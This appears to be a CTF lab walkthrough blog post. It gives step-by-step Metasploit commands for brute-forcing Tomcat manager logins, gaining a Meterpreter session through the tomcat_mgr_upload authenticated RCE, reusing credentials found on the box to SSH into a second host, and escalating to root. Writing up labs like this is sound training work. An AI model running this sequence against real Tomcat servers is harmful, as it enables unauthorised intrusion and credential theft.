Welcome back to the third entry in this series. In the last entry we used three
Metasploit modules to obtain
mysql credentials and leverage them on the target machine.
In this entry we will tackle the third Metasploit CTF on Pentester Academy. In this entry we will use two
Metasploit modules. A module to test for valid user credentials and an authenticated RCE.
If you've been following along, you know that we being our enumeration process with
nmap. We'll now start to combine the set of command options we've learned. Let's obtain our IP and scan our subnet:
nmap -sV -T5 18.104.22.168/24
Here are our results:
Nmap scan report for target-1 (22.214.171.124) Host is up (0.000036s latency). Not shown: 998 closed ports PORT STATE SERVICE VERSION 8009/tcp open ajp13 Apache Jserv (Protocol v1.3) 8080/tcp open http Apache Tomcat 8.5.37 MAC Address: 02:42:C0:C0:DF:03 (Unknown) Nmap scan report for target-2 (126.96.36.199) Host is up (0.000035s latency). Not shown: 999 closed ports PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.6 (Ubuntu Linux; protocol 2.0) MAC Address: 02:42:C0:C0:DF:04 (Unknown) Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Target-1 has two services running.
Tomcat both known to have some flaws in them. Let's use
searchsploit to see if there are any
Metasploit modules we can leverage.
searchsploit 'tomcat metasploit'
We see that we have a few
Tomcat modules but no
Metasploit modules returned for
Jserv. Let's load
msfdb run or
Once loaded, lets find the module we want to use.
msf5> search tomcat
Quite a few modules come back. We see there are some authenticated modules and some RCE's. However, the first thing we want to try is to enumerate our possible login options. So for that we will use the
msf5> use auxiliary/scanner/http/tomcat_mgr_login or
msf5> use 8
Once our module is loaded, we check our
In this module, we will want to
rhosts and that's it. Now in a larger CTF setting you would probably want to change the
pass_file. This is the parameter that sets the password list. You could set it to something much larger, like
rockyou.txt or something you've currated yourself and is more specific.
msf5> set rhost target-1
run our payload.
We see a successful credential pair:
tomcat. The default credentials. Well now that we know we have a valid set of credentials, we can seek to leverage them for an
When we look back on our listing of modules, we see there is an
Authenticated RCE listed as
tomcat_mgr_upload. We'll use that.
msf5> use exploit/multi/http/tomcat_mgr_upload or
msf5> use 15
We check out
options inside the module.
msf5> show options
We have quite a few options to set here:
msf5> set HttpPassword tomcat
msf5> set HttpUsername tomcat
msf5> set rhosts target-1
msf5> set rport 8080
In this scenario, we are setting our
HttpUsername to the credentials we verified earlier. Something we haven't done yet is set our
rport. The default port here is 80, however, we determined that
Tomcat is running on 8080.
run our exploit.
msf5> run or
It worked! We not have a valied
Meterpreter session! This is different than a normal shell. You can read all about what
Meterpreter is here. For the purpose of this post, you just need to know it's a more advanced shell.
We can use standard Linux commands inside this shell to navigate around and do some enumeration. We head to
/home to see what users are listed.
We have one user
devadmin. Inside his home directory is a file called
We look at it's contents and see some credentials.
Great! We can safely assume that we are going to use these credentials to log into
target-2. We will
background our current shell just in case we need it later.
meterpreter > background
Then we'll exit the module we were in:
Now we are back to a standard
Metasploit prompt. We can
SSH from here! That's right,
Metasploit will let us use many of our native Linux commands from within it's commandline.
msf5> ssh admin@target-2
We enter the password and accept our fingerprinting.
We have admin credentials on the system but now what? We aren't root but we can try to switch the root user.
Once we do that we are given an elevated prompt!
We then head to
/root/ to find the
Another CTF down! Hopefully this has been a learning experience for anyone that has read it through. Next up Metasploit CTF 4!